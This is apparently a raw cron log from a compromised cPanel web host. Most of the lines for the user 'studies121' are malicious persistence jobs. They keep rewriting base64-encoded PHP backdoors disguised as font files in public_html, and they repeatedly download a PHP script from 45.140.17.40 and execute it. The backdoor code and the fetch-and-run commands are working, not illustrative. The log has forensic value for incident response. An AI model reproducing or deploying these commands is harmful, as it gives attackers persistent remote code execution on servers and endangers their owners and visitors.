Sep 21 08:29:01 ip-184-168-122-23 CROND[24100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:30:01 ip-184-168-122-23 CROND[24227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:30:01 ip-184-168-122-23 CROND[24229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:30:01 ip-184-168-122-23 CROND[24232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:30:01 ip-184-168-122-23 CROND[24233]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 21 08:30:01 ip-184-168-122-23 CROND[24235]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:30:01 ip-184-168-122-23 CROND[24236]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:30:01 ip-184-168-122-23 CROND[24239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:30:01 ip-184-168-122-23 CROND[24241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:30:01 ip-184-168-122-23 CROND[24240]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 08:31:02 ip-184-168-122-23 CROND[24394]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:31:02 ip-184-168-122-23 CROND[24397]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:31:02 ip-184-168-122-23 CROND[24398]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:31:02 ip-184-168-122-23 CROND[24396]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:31:02 ip-184-168-122-23 CROND[24399]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 08:32:01 ip-184-168-122-23 CROND[24634]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:32:01 ip-184-168-122-23 CROND[24637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:32:01 ip-184-168-122-23 CROND[24636]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:32:01 ip-184-168-122-23 CROND[24638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:32:01 ip-184-168-122-23 CROND[24639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:33:01 ip-184-168-122-23 CROND[24773]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:33:01 ip-184-168-122-23 CROND[24774]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:33:01 ip-184-168-122-23 CROND[24776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:33:01 ip-184-168-122-23 CROND[24778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:34:01 ip-184-168-122-23 CROND[24907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:34:01 ip-184-168-122-23 CROND[24908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:34:01 ip-184-168-122-23 CROND[24909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:34:01 ip-184-168-122-23 CROND[24911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:34:01 ip-184-168-122-23 CROND[24910]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:35:01 ip-184-168-122-23 CROND[25046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:35:01 ip-184-168-122-23 CROND[25047]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:35:01 ip-184-168-122-23 CROND[25050]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 08:35:01 ip-184-168-122-23 CROND[25051]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:35:01 ip-184-168-122-23 CROND[25055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:35:01 ip-184-168-122-23 CROND[25052]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 08:35:01 ip-184-168-122-23 CROND[25053]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:35:01 ip-184-168-122-23 CROND[25054]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:36:01 ip-184-168-122-23 CROND[25200]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:36:01 ip-184-168-122-23 CROND[25201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:36:01 ip-184-168-122-23 CROND[25202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:36:01 ip-184-168-122-23 CROND[25204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:36:01 ip-184-168-122-23 CROND[25205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:37:01 ip-184-168-122-23 CROND[25328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:37:01 ip-184-168-122-23 CROND[25327]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:37:01 ip-184-168-122-23 CROND[25329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:37:01 ip-184-168-122-23 CROND[25330]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:38:01 ip-184-168-122-23 CROND[25547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:38:01 ip-184-168-122-23 CROND[25551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:38:01 ip-184-168-122-23 CROND[25552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:38:01 ip-184-168-122-23 CROND[25549]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:38:01 ip-184-168-122-23 CROND[25550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:39:01 ip-184-168-122-23 CROND[25716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:39:01 ip-184-168-122-23 CROND[25718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:39:01 ip-184-168-122-23 CROND[25721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:39:01 ip-184-168-122-23 CROND[25724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:39:01 ip-184-168-122-23 CROND[25723]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 21 08:40:01 ip-184-168-122-23 CROND[25939]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 08:40:01 ip-184-168-122-23 CROND[25941]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 08:40:01 ip-184-168-122-23 CROND[25944]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 08:40:01 ip-184-168-122-23 CROND[25945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 08:40:01 ip-184-168-122-23 CROND[25946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 08:40:01 ip-184-168-122-23 CROND[25943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:40:01 ip-184-168-122-23 CROND[25942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 08:40:01 ip-184-168-122-23 CROND[25947]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 08:41:01 ip-184-168-122-23 CROND[26121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 08:41:01 ip-184-168-122-23 CROND[26123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
